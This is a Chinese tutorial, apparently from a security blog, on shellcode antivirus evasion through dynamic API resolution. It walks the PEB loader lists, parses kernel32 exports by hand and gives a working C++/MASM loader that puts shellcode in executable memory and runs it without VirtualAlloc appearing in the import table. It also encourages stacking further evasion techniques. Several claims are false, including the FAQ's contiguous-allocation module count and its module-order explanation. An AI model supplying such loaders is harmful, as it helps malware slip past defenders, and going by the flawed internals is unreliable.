【_LIST_ENTRY详解】shellcode免杀之动态获取API
字数 2409 2025-08-24 20:49:22
动态获取API技术详解:从TEB/PEB到Shellcode免杀
1. 动态获取API的意义与原理
1.1 导入表的作用与局限
在PE结构中,导入表(Import Table)用于描述程序运行时需要使用的外部函数和库。操作系统根据导入表信息定位并加载所需的DLL,并将程序与这些外部函数进行链接。
传统调用方式的问题:
- 当使用
VirtualAlloc等敏感函数时,函数名会直接出现在导入表中 - 杀毒软件可以通过检测导入表发现可疑函数调用
- 静态分析工具可以轻易识别程序使用的系统API
1.2 动态获取API的优势
通过手动编码完成DLL地址寻找和函数定位,可以:
- 避免敏感函数出现在导入表中
- 绕过基于导入表的静态检测
- 实现更隐蔽的Shellcode加载和执行
1.3 关键系统DLL
kernel32.dll:
- Windows中最基本和核心的动态链接库
- 包含大量系统级别函数
- 所有Windows程序都会加载此DLL
ntdll.dll:
- 更底层的动态链接库
- 提供操作系统内部核心相关的函数和服务
- kernel32.dll中的函数最终会调用ntdll.dll中的函数
2. TEB和PEB结构详解
2.1 线程环境块(TEB)
TEB(Thread Environment Block):
- 存储线程状态信息和线程所需的各种数据
- 每个线程都有对应的TEB结构
- 包含指向PEB的指针
x64架构下的TEB访问:
- TEB地址存储在GS寄存器中
- PEB位于TEB偏移0x60处
2.2 进程环境块(PEB)
PEB(Process Environment Block):
- 包含系统与当前进程关联的用户模式参数
- 存储已加载DLL的信息、进程参数、堆地址等
- 可用于动态获取API、进程伪装和反调试
关键结构:
- 偏移0x18处是Ldr指针(_PEB_LDR_DATA结构体)
- Ldr存储了所有模块(包括DLL)的加载信息
2.3 模块加载链表
在_PEB_LDR_DATA结构中有三个关键双向链表:
- InLoadOrderModuleList (偏移0x10)
- InMemoryOrderModuleList (偏移0x20)
- InInitializationOrderModuleList (偏移0x30)
这些链表都使用_LIST_ENTRY结构:
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink; // 指向下一个节点
struct _LIST_ENTRY *Blink; // 指向上一个节点
} LIST_ENTRY, *PLIST_ENTRY;
2.4 _LDR_DATA_TABLE_ENTRY结构
链表中的每个节点实际上是_LDR_DATA_TABLE_ENTRY结构的一部分:
- 结构体大小:0x138字节
- 关键字段:
- DllBase: DLL的基地址(偏移0x30)
- FullDllName: DLL完整路径(偏移0x48)
- BaseDllName: DLL名称(偏移0x58)
2.5 模块数量计算
可以通过链表计算加载的模块数量:
模块数量 = ((Blink - Flink) / 0x138) + 1
原理:
- Blink指向最后一个模块的_LIST_ENTRY
- Flink指向第一个模块的_LIST_ENTRY
- 每个_LDR_DATA_TABLE_ENTRY结构大小为0x138字节
- 需要加1是因为差值计算不包含最后一个模块
3. 动态获取API的实现
3.1 汇编获取kernel32.dll基址
.code
getknel proc
mov rax,gs:[60h] ; rax = PEB
mov rax,[rax+18h] ; rax = Ldr
mov rax,[rax+30h] ; rax = InInitializationOrderModuleList的Flink
mov rax,[rax] ; 第一个模块
mov rax,[rax] ; 第二个模块
mov rax,[rax+10h] ; 第三个模块的DllBase(kernel32.dll)
ret
getknel endp
end
关键点:
- kernel32.dll在InInitializationOrderModuleList中是第三个模块
- 通过链表遍历获取其基地址
3.2 从DLL中导出函数
PVOID myGetAddress(PVOID pBaseAddress, PCHAR pszFunctionName) {
PVOID get_address = 0;
// 获取DOS头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress;
// 通过e_lfanew找到NT头
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew);
// 获取导出表地址
PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
// 获取导出函数数量
ULONG ulNumberOfNames = pExportTable->NumberOfNames;
// 获取导出函数名称数组
PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames);
// 遍历导出表
for (ULONG i = 0; i < ulNumberOfNames; i++) {
PCHAR lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]);
if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) {
// 获取函数序号
USHORT uHint = *(USHORT*)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i);
// 获取函数地址
ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint);
get_address = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr);
break;
}
}
return get_address;
}
3.3 完整调用示例
#include <Windows.h>
#include <stdio.h>
// 声明汇编函数
extern "C" PVOID64 getknel();
// 定义函数指针类型
typedef LPVOID(WINAPI* pVAlloc)(LPVOID, DWORD, DWORD, DWORD);
int main() {
char shellcode[] = "";
// 动态获取VirtualAlloc地址
pVAlloc VAlloc = (pVAlloc)myGetAddress(getknel(), (PCHAR)"VirtualAlloc");
// 分配可执行内存
void* exec = VAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 复制并执行Shellcode
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
4. 开发环境配置
在Visual Studio中配置汇编支持:
- 右键项目 → 生成依赖项 → 生成自定义 → 勾选"masm"
- 右键asm文件 → 属性 → 常规 → 项类型选择"自定义生成工具"
- 在自定义生成工具中配置:
- 命令行:
ml64 /c %(fileName).asm - 输出:
%(fileName).obj;%(Outputs)
- 命令行:
5. 调试验证
使用x64dbg验证TEB/PEB结构:
- 加载目标程序(如calc.exe)
- 查看GS寄存器获取TEB地址
- TEB偏移0x60处是PEB地址
- PEB偏移0x18处是Ldr指针
- Ldr偏移0x10处是InLoadOrderModuleList
- 遍历链表验证模块信息
6. 常见问题解答
Q: (Blink-Flink)%0x138计算模块数量的前提是地址连续吗?
A: 实际上,_LDR_DATA_TABLE_ENTRY结构在内存中是连续分配的,每个结构大小固定为0x138字节。虽然链表节点理论上可以不连续,但在Windows实现中,这些结构通常是连续分配的,因此这种计算方法是可行的。
Q: 为什么kernel32.dll在InInitializationOrderModuleList中是第三个模块?
A: Windows加载模块的顺序是固定的:首先是exe本身,然后是ntdll.dll,接着是kernel32.dll。因此kernel32.dll在InInitializationOrderModuleList中排在第三位。
7. 安全注意事项
- 本技术仅用于合法研究和防御目的
- 实际使用时需要考虑不同Windows版本的偏移差异
- 某些安全产品会监控PEB操作行为
- 建议结合其他免杀技术使用
- 在生产环境使用前应充分测试
8. 扩展应用
- 进程伪装:通过修改PEB中的模块信息隐藏进程
- 反调试技术:利用PEB中的BeingDebugged标志检测调试器
- DLL注入检测:通过比较不同链表检测异常模块
- API钩子检测:通过对比内存中的API地址与导出表地址
9. 参考资源
- PEB结构详解 - Vergilius Project
- [Windows Internals书籍]
- [MSDN官方文档]
- x64dbg调试器